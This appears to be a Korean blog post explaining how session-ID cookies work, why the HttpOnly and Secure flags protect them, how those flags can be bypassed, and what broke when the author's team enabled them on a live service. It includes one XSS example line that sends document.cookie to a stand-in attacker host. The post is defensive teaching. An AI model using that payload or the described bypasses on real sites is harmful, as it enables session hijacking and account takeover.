티스토리 뷰
개요
쿠키를 통해 어떻게 인증을 처리하는지,
쿠키 보호(세션하이재킹 방지)를 위해 HttpOnly와 Secure 옵션 적용 시
실운영중인 서비스에는 어떤 영향도가 있는지 정리해둔다.
쿠키, 왜 사용할까?
HTTP 프로토콜은 무상태성(stateless) 및 무연결성(Connectionless)을 가지는데,
클라이언트의 접속에 대해 연결이나 상태를 저장하지 않는다고 볼 수 있다.
이는 서버가 매우 많은 연결을 유지하면서 자원을 소모하지 않아도 되며 프로토콜을 단순하게 하기 위한 설계이다.
사용자 데이터를 서버에서 매번 저장하고 관리하는 것은 서버 리소스가 과소모된다는 이야기이다.
인증 쿠키는 어떻게 사용될까?
인증을 위한 세션 쿠키는 쿠키일까?
당연히 쿠키는 맞다. 그렇지만 쿠키 자체에 사용자를 식별하기 위한 데이터가 줄줄 들어가진 않는다.
정확히 말하자면 인증(세션) 쿠키는 사용자를 식별하여 상태(연결)를 유지하기 위해
세션의 데이터 중 id(session id)를 쿠키에 저장하는 '세션id'이다.
세션id 식별 원리
쿠키에 세션 데이터를 넣지 않는 이유는 뭘까?
세션 자체를 쿠키에 넣어버리면, 중요정보가 노출될 가능성이 있다.
그래서 세션id만을 전달해, 서버가 세션 내 필요한 데이터만 가져오고 가공해서 쓸 수 있도록 하는 것이다.
플랫폼에 따라 제공하는 세션 object를 통해 세션을 관리할 수 있다.
Java의 경우 request.getSession().getId()와 같은 함수들로 아이디를 가져오고,
setAttribute와 getAttribute를 통해 세션에 속성을 추가하거나 value를 확인할 수 있다.
일반적으로 쿠키에 있는 sessionId를 전달받아 사용자를 찾고, 다른 식별 attribute와 조합해서 인증하게 된다.
브라우저와 서버 간 전달방식
그림으로 재밌게(?) 만들어보았다.
정석적인 그림은 이해가 잘 되는 그림이 있어 가져왔다.
그렇다면 세션id만 쿠키에 저장하면 안전할까?
쿠키에 세션 데이터는 보안상 이유로 넣지 않는다고 했다.
그럼 세션id를 쿠키에 저장하면 안전할까? 그것도 아니다.
쿠키의 특성상, 도메인별로 브라우저에 저장되므로 악의적 사용자에 의해 조작 및 탈취 가능성이 있다.
쿠키가 보호되지 않는다면 쿠키 값의 변조를 통한 타 사용자 위장, 권한 상승 등
현재 활성화된 사용자를 복제할 수 있는 세션 하이재킹의 위험이 존재한다.
🟨 인증을 위한 쿠키(세션id)는 보통 세션을 맺고 있는 valid date동안 세션id를 계속 변경해서,
인증 유효시간같은 정보를 갱신할 수 있도록 하고 있다. 데이터는 그대로고 이름표만 바뀐다고 생각하면 쉽다.
🟨 근본적인 쿠키 탈취를 방지하기 위한 HttpOnly, Secure 옵션을 사용한다.
그럼 이 옵션은 뭘까?
쿠키 보호옵션
✅ HttpOnly
웹 통신이 아닌 javascript를 통해 document.cookie와 같은 스크립트문으로 쿠키를 탈취하는 경우(XSS)를 방지한다.
공격자들은 아래와 같은 스크립트를 작성해 공격을 시도할 수 있다.
<script>location.href = 'http://attacker.tistory.com/?cookies=' + document.cookie;</script>
✅ Secure
MITM 공격으로부터의 스니핑을 방지하기 위해 HTTPS 통신이 아닌 경우는 쿠키 전송을 방지하는 옵션이다.
HTTP 통신인 경우 당연하게도 통신 내용이 평문으로 노출되기 때문이다.
[ HTTP ]
[ HTTPS ]
보호옵션을 우회할 수 있는 방법은?
HttpOnly의 경우
1️⃣ XmlHttpRequest나 fetch API를 통해 credential을 받아오면 우회할 수 있다.
이는 HttpOnly는 js의 document.cookie API만을 사용하지 못하는 것 뿐이기 때문이다.
단 CORS 요청이 가능한 origin(ACAO 허용) 및 응답 Access-Control-Allow-Credential(ACAC 헤더)도 true여야 가능하다.
2️⃣ XST(Cross-Site Tracing) 공격을 통해 우회하는 경우
사실상 이 우회기법도 여러 전제조건이 있기에 가능성이 높지는 않다.
XST 공격은 컨텐츠가 많아 다음에 따로 적는 게 낫겠다.
Secure의 경우
1️⃣ 서비스 내에 HTTP/HTTPS를 혼용하는 경우
각 기능별로 외부 또는 내부 서비스를 연동해서 사용할 수 있는데,
쿠키를 주고받는 관계가 어떤지에 따라 HTTP 서비스에서 탈취해버리면 소용이 없는 경우이다.
2️⃣ HTTP 강제 리다이렉트가 가능한 경우
HTTPS -> HTTP 강제 리다이렉트 시 웹서비스에서 그냥 HTTP를 시도해보는 것 말고도 다양한 공격 툴이 있다.
이를 활용해 vm에서 평문 응답 탈취를 해본적이 있고, Secure 옵션이 무효화될 수 있다.
보호옵션, 서비스 영향도는 없을까?
실서비스에서 HttpOnly와 Secure 옵션 적용 시 개발서버에 배포 후 이슈가 있어 원복하는 일이 있었다.
특정 쿠키가 있어야만 로그인처리를 할 수 있었는데, 되지 않았다는 것이다. 또한 csrf token도 불러오지 못했다고 한다.
이를 어떻게 해결하고 있을까?
❎ HttpOnly
원래 로그인 유지를 위해 자바스크립트에서 document.cookie를 직접 읽어 사용하는 방식이었다.
(1) 서버단에서 먼저 인증쿠키를 처리할 엔드포인트를 분리해주고,
(2) CORS 응답 헤더에 Origin을 요청하고자 하는 웹서버로, allowCredentials를 true로 설정하고 vue 환경의 axios에서도 withCredentials를 true로 설정한다.
즉 프론트쪽에서 직접 참조하는 방식이 아닌 서버단 CORS 응답을 통해 쿠키를 가져올 수 있도록 처리했다.
-> Cross-Origin인 경우 아래처럼 응답헤더를 설정하면 Credential인 쿠키도 응답하게 되는 것을 이용했다.
하지만 이 과정에도 이슈가 있었으니 다음에 한번 작성해보겠다. 😅
❎ Secure
서비스 내 기능에서 HTTP와 HTTPS 서비스가 같이 사용되는 경우인 것 같다.
프로토콜 전환 시 HTTP->HTTPS->HTTP인 경우 처음부터 Non-secure cookie가 생성되어 Secure 설정이 무시되며(취약),
HTTPS -> HTTP의 경우 Secure 옵션때문에 HTTP 서비스에서 세션이 유지되지 못한다.
이런 경우는 사용자 측면 뿐 아닌, 개발환경에서의 디버깅 관점에서도 개발자의 불편함을 야기할 수 있다.
(개발환경은 보통 http로 구성하기 때문에)
아래에 잘 설명되어 있는데, 근본적으론 가능하면 연계되는 모든 서비스를 HTTPS로 운영할 것을 말하고 있다.
- Thanks for comming.
- 오늘은
- 명이 방문했어요
- 어제는
- 명이 방문했어요